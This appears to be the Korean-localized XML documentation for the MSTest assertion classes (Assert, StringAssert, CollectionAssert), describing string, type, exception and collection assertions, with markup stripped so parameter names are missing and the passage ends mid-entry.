- - - - - 지정된 문자열이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. 비교에는 고정 문화권이 사용됩니다. - - - 비교할 첫 번째 문자열. 테스트가 예상하는 문자열입니다. - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not equal to . - - - - - 지정된 문자열이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. - - - 비교할 첫 번째 문자열. 테스트가 예상하는 문자열입니다. - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - 문화권 관련 비교 정보를 제공하는 CultureInfo 개체. - - - Thrown if is not equal to . - - - - - 지정된 문자열이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. - - - 비교할 첫 번째 문자열. 테스트가 예상하는 문자열입니다. - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - 문화권 관련 비교 정보를 제공하는 CultureInfo 개체. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is not equal to . - - - - - 지정된 문자열이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. - - - 비교할 첫 번째 문자열. 테스트가 예상하는 문자열입니다. - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - 문화권 관련 비교 정보를 제공하는 CultureInfo 개체. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not equal to . - - - - - 지정된 문자열이 다른지를 테스트하고, 같으면 예외를 - throw합니다. 비교에는 고정 문화권이 사용됩니다. - - - 비교할 첫 번째 문자열. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 문자열: . - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - Thrown if is equal to . - - - - - 지정된 문자열이 다른지를 테스트하고, 같으면 예외를 - throw합니다. 비교에는 고정 문화권이 사용됩니다. - - - 비교할 첫 번째 문자열. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 문자열: . - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is equal to . - - - - - 지정된 문자열이 다른지를 테스트하고, 같으면 예외를 - throw합니다. 비교에는 고정 문화권이 사용됩니다. - - - 비교할 첫 번째 문자열. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 문자열: . - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is equal to . - - - - - 지정된 문자열이 다른지를 테스트하고, 같으면 예외를 - throw합니다. - - - 비교할 첫 번째 문자열. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 문자열: . - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - 문화권 관련 비교 정보를 제공하는 CultureInfo 개체. - - - Thrown if is equal to . - - - - - 지정된 문자열이 다른지를 테스트하고, 같으면 예외를 - throw합니다. - - - 비교할 첫 번째 문자열. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 문자열: . - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - 문화권 관련 비교 정보를 제공하는 CultureInfo 개체. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is equal to . - - - - - 지정된 문자열이 다른지를 테스트하고, 같으면 예외를 - throw합니다. - - - 비교할 첫 번째 문자열. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 문자열: . - - - 비교할 두 번째 문자열. 테스트 중인 코드에 의해 생성된 문자열입니다. - - - 대/소문자를 구분하거나 구분하지 않는 비교를 나타내는 부울(true는 - 대/소문자를 구분하지 않는 비교를 나타냄). - - - 문화권 관련 비교 정보를 제공하는 CultureInfo 개체. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is equal to . - - - - - 지정된 개체가 예상 형식의 인스턴스인지를 테스트하고, - 예상 형식이 개체의 상속 계층 구조에 있지 않은 예외를 - throw합니다. - - - 테스트가 지정된 형식일 것으로 예상하는 개체. - - - 다음의 예상 형식: . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 지정된 개체가 예상 형식의 인스턴스인지를 테스트하고, - 예상 형식이 개체의 상속 계층 구조에 있지 않은 예외를 - throw합니다. - - - 테스트가 지정된 형식일 것으로 예상하는 개체. - - - 다음의 예상 형식: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음의 인스턴스가 아닌 경우: . 메시지가 - 테스트 결과에 표시됩니다. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 지정된 개체가 예상 형식의 인스턴스인지를 테스트하고, - 예상 형식이 개체의 상속 계층 구조에 있지 않은 예외를 - throw합니다. - - - 테스트가 지정된 형식일 것으로 예상하는 개체. - - - 다음의 예상 형식: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음의 인스턴스가 아닌 경우: . 메시지가 - 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 지정된 개체가 잘못된 형식의 인스턴스가 아닌지를 테스트하고, - 지정된 형식이 개체의 상속 계층 구조에 있는 경우 예외를 - throw합니다. - - - 테스트가 지정된 형식이 아닐 것으로 예상하는 개체. - - - 형식: 이(가) 아니어야 함. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - 지정된 개체가 잘못된 형식의 인스턴스가 아닌지를 테스트하고, - 지정된 형식이 개체의 상속 계층 구조에 있는 경우 예외를 - throw합니다. - - - 테스트가 지정된 형식이 아닐 것으로 예상하는 개체. - - - 형식: 이(가) 아니어야 함. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음의 인스턴스인 경우: . 메시지가 테스트 결과에 - 표시됩니다. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - 지정된 개체가 잘못된 형식의 인스턴스가 아닌지를 테스트하고, - 지정된 형식이 개체의 상속 계층 구조에 있는 경우 예외를 - throw합니다. - - - 테스트가 지정된 형식이 아닐 것으로 예상하는 개체. - - - 형식: 이(가) 아니어야 함. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음의 인스턴스인 경우: . 메시지가 테스트 결과에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - AssertFailedException을 throw합니다. - - - Always thrown. - - - - - AssertFailedException을 throw합니다. - - - 예외에 포함할 메시지. 메시지가 테스트 결과에 - 표시됩니다. - - - Always thrown. - - - - - AssertFailedException을 throw합니다. - - - 예외에 포함할 메시지. 메시지가 테스트 결과에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Always thrown. - - - - - AssertInconclusiveException을 throw합니다. - - - Always thrown. - - - - - AssertInconclusiveException을 throw합니다. - - - 예외에 포함할 메시지. 메시지가 테스트 결과에 - 표시됩니다. - - - Always thrown. - - - - - AssertInconclusiveException을 throw합니다. - - - 예외에 포함할 메시지. 메시지가 테스트 결과에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Always thrown. - - - - - 참조 같음에 대해 두 형식의 인스턴스를 비교하는 데 정적 equals 오버로드가 - 사용됩니다. 이 메서드는 같음에 대해 두 인스턴스를 비교하는 데 사용되지 않습니다. - 이 개체는 항상 Assert.Fail과 함께 throw됩니다. 단위 테스트에서 - Assert.AreEqual 및 관련 오버로드를 사용하세요. - - 개체 A - 개체 B - 항상 False. - - - - 대리자가 지정한 코드가 형식의 정확한 특정 예외(파생된 형식이 아님)를 throw하는지 테스트하고 - 코드가 예외를 throw하지 않거나 이(가) 아닌 형식의 예외를 throw하는 경우 - - AssertFailedException - - 을 throw합니다. - - - 테스트할 코드 및 예외를 throw할 것으로 예상되는 코드에 대한 대리자. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - throw될 예외 형식입니다. - - - - - 대리자가 지정한 코드가 형식의 정확한 특정 예외(파생된 형식이 아님)를 throw하는지 테스트하고 - 코드가 예외를 throw하지 않거나 이(가) 아닌 형식의 예외를 throw하는 경우 - - AssertFailedException - - 을 throw합니다. - - - 테스트할 코드 및 예외를 throw할 것으로 예상되는 코드에 대한 대리자. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음 형식의 예외를 throw하지 않는 경우:. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - throw될 예외 형식입니다. - - - - - 대리자가 지정한 코드가 형식의 정확한 특정 예외(파생된 형식이 아님)를 throw하는지 테스트하고 - 코드가 예외를 throw하지 않거나 이(가) 아닌 형식의 예외를 throw하는 경우 - - AssertFailedException - - 을 throw합니다. - - - 테스트할 코드 및 예외를 throw할 것으로 예상되는 코드에 대한 대리자. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - throw될 예외 형식입니다. - - - - - 대리자가 지정한 코드가 형식의 정확한 특정 예외(파생된 형식이 아님)를 throw하는지 테스트하고 - 코드가 예외를 throw하지 않거나 이(가) 아닌 형식의 예외를 throw하는 경우 - - AssertFailedException - - 을 throw합니다. - - - 테스트할 코드 및 예외를 throw할 것으로 예상되는 코드에 대한 대리자. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음 형식의 예외를 throw하지 않는 경우:. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - throw될 예외 형식입니다. - - - - - 대리자가 지정한 코드가 형식의 정확한 특정 예외(파생된 형식이 아님)를 throw하는지 테스트하고 - 코드가 예외를 throw하지 않거나 이(가) 아닌 형식의 예외를 throw하는 경우 - - AssertFailedException - - 을 throw합니다. - - - 테스트할 코드 및 예외를 throw할 것으로 예상되는 코드에 대한 대리자. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음 형식의 예외를 throw하지 않는 경우:. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - throw될 예외 형식입니다. - - - - - 대리자가 지정한 코드가 형식의 정확한 특정 예외(파생된 형식이 아님)를 throw하는지 테스트하고 - 코드가 예외를 throw하지 않거나 이(가) 아닌 형식의 예외를 throw하는 경우 - - AssertFailedException - - 을 throw합니다. - - - 테스트할 코드 및 예외를 throw할 것으로 예상되는 코드에 대한 대리자. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음 형식의 예외를 throw하지 않는 경우:. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - throw될 예외 형식입니다. - - - - - 대리자가 지정한 코드가 형식의 정확한 특정 예외(파생된 형식이 아님)를 throw하는지 테스트하고 - 코드가 예외를 throw하지 않거나 이(가) 아닌 형식의 예외를 throw하는 경우 - - AssertFailedException - - 을 throw합니다. - - - 테스트할 코드 및 예외를 throw할 것으로 예상되는 코드에 대한 대리자. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 오류가 발생했습니다. - - - - - 대리자가 지정한 코드가 형식의 정확한 특정 예외(파생된 형식이 아님)를 throw하는지 테스트하고 - 코드가 예외를 throw하지 않거나 이(가) 아닌 형식의 예외를 throw하는 경우 AssertFailedException을 throw합니다. - - 테스트할 코드 및 예외를 throw할 것으로 예상되는 코드에 대한 대리자. - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음 형식의 예외를 throw하지 않는 경우: . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - 오류가 발생했습니다. - - - - - 대리자가 지정한 코드가 형식의 정확한 특정 예외(파생된 형식이 아님)를 throw하는지 테스트하고 - 코드가 예외를 throw하지 않거나 이(가) 아닌 형식의 예외를 throw하는 경우 AssertFailedException을 throw합니다. - - 테스트할 코드 및 예외를 throw할 것으로 예상되는 코드에 대한 대리자. - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음 형식의 예외를 throw하지 않는 경우: . - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - 오류가 발생했습니다. - - - - - Null 문자('\0')를 "\\0"으로 바꿉니다. - - - 검색할 문자열. - - - Null 문자가 "\\0"으로 교체된 변환된 문자열. - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - AssertionFailedException을 만들고 throw하는 도우미 함수 - - - 예외를 throw하는 어설션의 이름 - - - 어설션 실패에 대한 조건을 설명하는 메시지 - - - 매개 변수. - - - - - 유효한 조건의 매개 변수를 확인합니다. - - - 매개 변수. - - - 어셜선 이름. - - - 매개 변수 이름 - - - 잘못된 매개 변수 예외에 대한 메시지 - - - 매개 변수. - - - - - 개체를 문자열로 안전하게 변환하고, Null 값 및 Null 문자를 처리합니다. - Null 값은 "(null)"로 변환됩니다. Null 문자는 "\\0"으로 변환됩니다. - - - 문자열로 변환될 개체. - - - 변환된 문자열. - - - - - 문자열 어셜션입니다. - - - - - CollectionAssert 기능의 singleton 인스턴스를 가져옵니다. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 지정된 문자열에 지정된 하위 문자열이 포함되었는지를 테스트하고, - 테스트 문자열 내에 해당 하위 문자열이 없으면 예외를 - throw합니다. - - - 다음을 포함할 것으로 예상되는 문자열: . - - - 다음 이내에 발생할 것으로 예상되는 문자열 . - - - Thrown if is not found in - . - - - - - 지정된 문자열에 지정된 하위 문자열이 포함되었는지를 테스트하고, - 테스트 문자열 내에 해당 하위 문자열이 없으면 예외를 - throw합니다. - - - 다음을 포함할 것으로 예상되는 문자열: . - - - 다음 이내에 발생할 것으로 예상되는 문자열 . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음에 없는 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is not found in - . - - - - - 지정된 문자열에 지정된 하위 문자열이 포함되었는지를 테스트하고, - 테스트 문자열 내에 해당 하위 문자열이 없으면 예외를 - throw합니다. - - - 다음을 포함할 것으로 예상되는 문자열: . - - - 다음 이내에 발생할 것으로 예상되는 문자열 . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음에 없는 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not found in - . - - - - - 지정된 문자열이 지정된 하위 문자열로 시작되는지를 테스트하고, - 테스트 문자열이 해당 하위 문자열로 시작되지 않으면 예외를 - throw합니다. - - - 다음으로 시작될 것으로 예상되는 문자열: . - - - 다음의 접두사일 것으로 예상되는 문자열: . - - - Thrown if does not begin with - . - - - - - 지정된 문자열이 지정된 하위 문자열로 시작되는지를 테스트하고, - 테스트 문자열이 해당 하위 문자열로 시작되지 않으면 예외를 - throw합니다. - - - 다음으로 시작될 것으로 예상되는 문자열: . - - - 다음의 접두사일 것으로 예상되는 문자열: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음으로 시작되지 않는 경우: . 메시지가 - 테스트 결과에 표시됩니다. - - - Thrown if does not begin with - . - - - - - 지정된 문자열이 지정된 하위 문자열로 시작되는지를 테스트하고, - 테스트 문자열이 해당 하위 문자열로 시작되지 않으면 예외를 - throw합니다. - - - 다음으로 시작될 것으로 예상되는 문자열: . - - - 다음의 접두사일 것으로 예상되는 문자열: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음으로 시작되지 않는 경우: . 메시지가 - 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if does not begin with - . - - - - - 지정된 문자열이 지정된 하위 문자열로 끝나는지를 테스트하고, - 테스트 문자열이 해당 하위 문자열로 끝나지 않으면 예외를 - throw합니다. - - - 다음으로 끝날 것으로 예상되는 문자열: . - - - 다음의 접미사일 것으로 예상되는 문자열: . - - - Thrown if does not end with - . - - - - - 지정된 문자열이 지정된 하위 문자열로 끝나는지를 테스트하고, - 테스트 문자열이 해당 하위 문자열로 끝나지 않으면 예외를 - throw합니다. - - - 다음으로 끝날 것으로 예상되는 문자열: . - - - 다음의 접미사일 것으로 예상되는 문자열: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음으로 끝나지 않는 경우: . 메시지가 - 테스트 결과에 표시됩니다. - - - Thrown if does not end with - . - - - - - 지정된 문자열이 지정된 하위 문자열로 끝나는지를 테스트하고, - 테스트 문자열이 해당 하위 문자열로 끝나지 않으면 예외를 - throw합니다. - - - 다음으로 끝날 것으로 예상되는 문자열: . - - - 다음의 접미사일 것으로 예상되는 문자열: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음으로 끝나지 않는 경우: . 메시지가 - 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if does not end with - . - - - - - 지정된 문자열이 정규식과 일치하는지를 테스트하고, 문자열이 - 식과 일치하지 않으면 예외를 throw합니다. - - - 다음과 일치할 것으로 예상되는 문자열: . - - - 과(와) - 일치할 것으로 예상되는 정규식 - - - Thrown if does not match - . - - - - - 지정된 문자열이 정규식과 일치하는지를 테스트하고, 문자열이 - 식과 일치하지 않으면 예외를 throw합니다. - - - 다음과 일치할 것으로 예상되는 문자열: . - - - 과(와) - 일치할 것으로 예상되는 정규식 - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 일치하지 않는 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if does not match - . - - - - - 지정된 문자열이 정규식과 일치하는지를 테스트하고, 문자열이 - 식과 일치하지 않으면 예외를 throw합니다. - - - 다음과 일치할 것으로 예상되는 문자열: . - - - 과(와) - 일치할 것으로 예상되는 정규식 - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 일치하지 않는 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if does not match - . - - - - - 지정된 문자열이 정규식과 일치하지 않는지를 테스트하고, 문자열이 - 식과 일치하면 예외를 throw합니다. - - - 다음과 일치하지 않을 것으로 예상되는 문자열: . - - - 과(와) - 일치하지 않을 것으로 예상되는 정규식. - - - Thrown if matches . - - - - - 지정된 문자열이 정규식과 일치하지 않는지를 테스트하고, 문자열이 - 식과 일치하면 예외를 throw합니다. - - - 다음과 일치하지 않을 것으로 예상되는 문자열: . - - - 과(와) - 일치하지 않을 것으로 예상되는 정규식. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 일치하는 경우: . 메시지가 테스트 결과에 - 표시됩니다. - - - Thrown if matches . - - - - - 지정된 문자열이 정규식과 일치하지 않는지를 테스트하고, 문자열이 - 식과 일치하면 예외를 throw합니다. - - - 다음과 일치하지 않을 것으로 예상되는 문자열: . - - - 과(와) - 일치하지 않을 것으로 예상되는 정규식. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 일치하는 경우: . 메시지가 테스트 결과에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if matches . - - - - - 단위 테스트 내에서 컬렉션과 연결된 다양한 조건을 테스트하기 - 위한 도우미 클래스의 컬렉션. 테스트 중인 조건이 충족되지 않으면 - 예외가 throw됩니다. - - - - - CollectionAssert 기능의 singleton 인스턴스를 가져옵니다. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 지정된 컬렉션이 지정된 요소를 포함하는지를 테스트하고, - 컬렉션에 요소가 없으면 예외를 throw합니다. - - - 요소를 검색할 컬렉션. - - - 컬렉션에 포함될 것으로 예상되는 요소. - - - Thrown if is not found in - . - - - - - 지정된 컬렉션이 지정된 요소를 포함하는지를 테스트하고, - 컬렉션에 요소가 없으면 예외를 throw합니다. - - - 요소를 검색할 컬렉션. - - - 컬렉션에 포함될 것으로 예상되는 요소. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음에 없는 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is not found in - . - - - - - 지정된 컬렉션이 지정된 요소를 포함하는지를 테스트하고, - 컬렉션에 요소가 없으면 예외를 throw합니다. - - - 요소를 검색할 컬렉션. - - - 컬렉션에 포함될 것으로 예상되는 요소. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음에 없는 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not found in - . - - - - - 지정된 컬렉션이 지정된 요소를 포함하지 않는지를 테스트하고, - 컬렉션에 요소가 있으면 예외를 throw합니다. - - - 요소를 검색할 컬렉션. - - - 컬렉션에 포함되지 않을 것으로 예상되는 요소. - - - Thrown if is found in - . - - - - - 지정된 컬렉션이 지정된 요소를 포함하지 않는지를 테스트하고, - 컬렉션에 요소가 있으면 예외를 throw합니다. - - - 요소를 검색할 컬렉션. - - - 컬렉션에 포함되지 않을 것으로 예상되는 요소. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음에 포함된 경우: . 메시지가 테스트 결과에 - 표시됩니다. - - - Thrown if is found in - . - - - - - 지정된 컬렉션이 지정된 요소를 포함하지 않는지를 테스트하고, - 컬렉션에 요소가 있으면 예외를 throw합니다. - - - 요소를 검색할 컬렉션. - - - 컬렉션에 포함되지 않을 것으로 예상되는 요소. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음에 포함된 경우: . 메시지가 테스트 결과에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is found in - . - - - - - 지정된 컬렉션의 모든 항목이 Null이 아닌지를 테스트하고, - Null인 요소가 있으면 예외를 throw합니다. - - - Null 요소를 검색할 컬렉션. - - - Thrown if a null element is found in . - - - - - 지정된 컬렉션의 모든 항목이 Null이 아닌지를 테스트하고, - Null인 요소가 있으면 예외를 throw합니다. - - - Null 요소를 검색할 컬렉션. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) null 요소를 포함하는 경우. 메시지가 테스트 결과에 표시됩니다. - - - Thrown if a null element is found in . - - - - - 지정된 컬렉션의 모든 항목이 Null이 아닌지를 테스트하고, - Null인 요소가 있으면 예외를 throw합니다. - - - Null 요소를 검색할 컬렉션. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) null 요소를 포함하는 경우. 메시지가 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if a null element is found in . - - - - - 지정된 컬렉션의 모든 항목이 고유한지 여부를 테스트하고, - 컬렉션에 두 개의 같은 요소가 있는 경우 예외를 throw합니다. - - - 중복 요소를 검색할 컬렉션. - - - Thrown if a two or more equal elements are found in - . - - - - - 지정된 컬렉션의 모든 항목이 고유한지 여부를 테스트하고, - 컬렉션에 두 개의 같은 요소가 있는 경우 예외를 throw합니다. - - - 중복 요소를 검색할 컬렉션. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 하나 이상의 중복 요소를 포함하는 경우. 메시지는 테스트 결과에 - 표시됩니다. - - - Thrown if a two or more equal elements are found in - . - - - - - 지정된 컬렉션의 모든 항목이 고유한지 여부를 테스트하고, - 컬렉션에 두 개의 같은 요소가 있는 경우 예외를 throw합니다. - - - 중복 요소를 검색할 컬렉션. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 하나 이상의 중복 요소를 포함하는 경우. 메시지는 테스트 결과에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if a two or more equal elements are found in - . - - - - - 한 컬렉션이 다른 컬렉션의 하위 집합인지를 테스트하고, - 하위 집합의 요소가 상위 집합에 없는 경우 - 예외를 throw합니다. - - - 다음의 하위 집합일 것으로 예상되는 컬렉션: . - - - 다음의 상위 집합일 것으로 예상되는 컬렉션: - - - Thrown if an element in is not found in - . - - - - - 한 컬렉션이 다른 컬렉션의 하위 집합인지를 테스트하고, - 하위 집합의 요소가 상위 집합에 없는 경우 - 예외를 throw합니다. - - - 다음의 하위 집합일 것으로 예상되는 컬렉션: . - - - 다음의 상위 집합일 것으로 예상되는 컬렉션: - - - - 의 요소가 다음에서 발견되지 않는 경우 예외에 포함할 메시지입니다.. - 테스트 결과에 메시지가 표시됩니다. - - - Thrown if an element in is not found in - . - - - - - 한 컬렉션이 다른 컬렉션의 하위 집합인지를 테스트하고, - 하위 집합의 요소가 상위 집합에 없는 경우 - 예외를 throw합니다. - - - 다음의 하위 집합일 것으로 예상되는 컬렉션: . - - - 다음의 상위 집합일 것으로 예상되는 컬렉션: - - - - 의 모든 요소가 다음에서 발견되지 않는 경우 예외에 포함할 메시지: . - 테스트 결과에 메시지가 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if an element in is not found in - . - - - - - 한 컬렉션이 다른 컬렉션의 하위 집합이 아닌지를 테스트하고, - 하위 집합의 요소가 상위 집합에도 있는 경우 - 예외를 throw합니다. - - - 다음의 하위 집합이 아닐 것으로 예상되는 컬렉션: . - - - 다음의 상위 집합일 것으로 예상되지 않는 컬렉션: - - - Thrown if every element in is also found in - . - - - - - 한 컬렉션이 다른 컬렉션의 하위 집합이 아닌지를 테스트하고, - 하위 집합의 요소가 상위 집합에도 있는 경우 - 예외를 throw합니다. - - - 다음의 하위 집합이 아닐 것으로 예상되는 컬렉션: . - - - 다음의 상위 집합일 것으로 예상되지 않는 컬렉션: - - - - 의 모든 요소가 다음에서도 발견되는 경우 예외에 포함할 메시지: . - 테스트 결과에 메시지가 표시됩니다. - - - Thrown if every element in is also found in - . - - - - - 한 컬렉션이 다른 컬렉션의 하위 집합이 아닌지를 테스트하고, - 하위 집합의 요소가 상위 집합에도 있는 경우 - 예외를 throw합니다. - - - 다음의 하위 집합이 아닐 것으로 예상되는 컬렉션: . - - - 다음의 상위 집합일 것으로 예상되지 않는 컬렉션: - - - - 의 모든 요소가 다음에서도 발견되는 경우 예외에 포함할 메시지: . - 테스트 결과에 메시지가 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if every element in is also found in - . - - - - - 두 컬렉션에 동일한 요소가 포함되어 있는지를 테스트하고, - 한 컬렉션이 다른 컬렉션에 없는 요소를 포함하는 경우 예외를 - throw합니다. - - - 비교할 첫 번째 컬렉션. 테스트가 예상하는 요소를 - 포함합니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성되는 - 컬렉션입니다. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 두 컬렉션에 동일한 요소가 포함되어 있는지를 테스트하고, - 한 컬렉션이 다른 컬렉션에 없는 요소를 포함하는 경우 예외를 - throw합니다. - - - 비교할 첫 번째 컬렉션. 테스트가 예상하는 요소를 - 포함합니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성되는 - 컬렉션입니다. - - - 요소가 컬렉션 중 하나에서는 발견되었지만 다른 곳에서는 발견되지 - 않은 경우 예외에 포함할 메시지. 메시지가 테스트 결과에 - 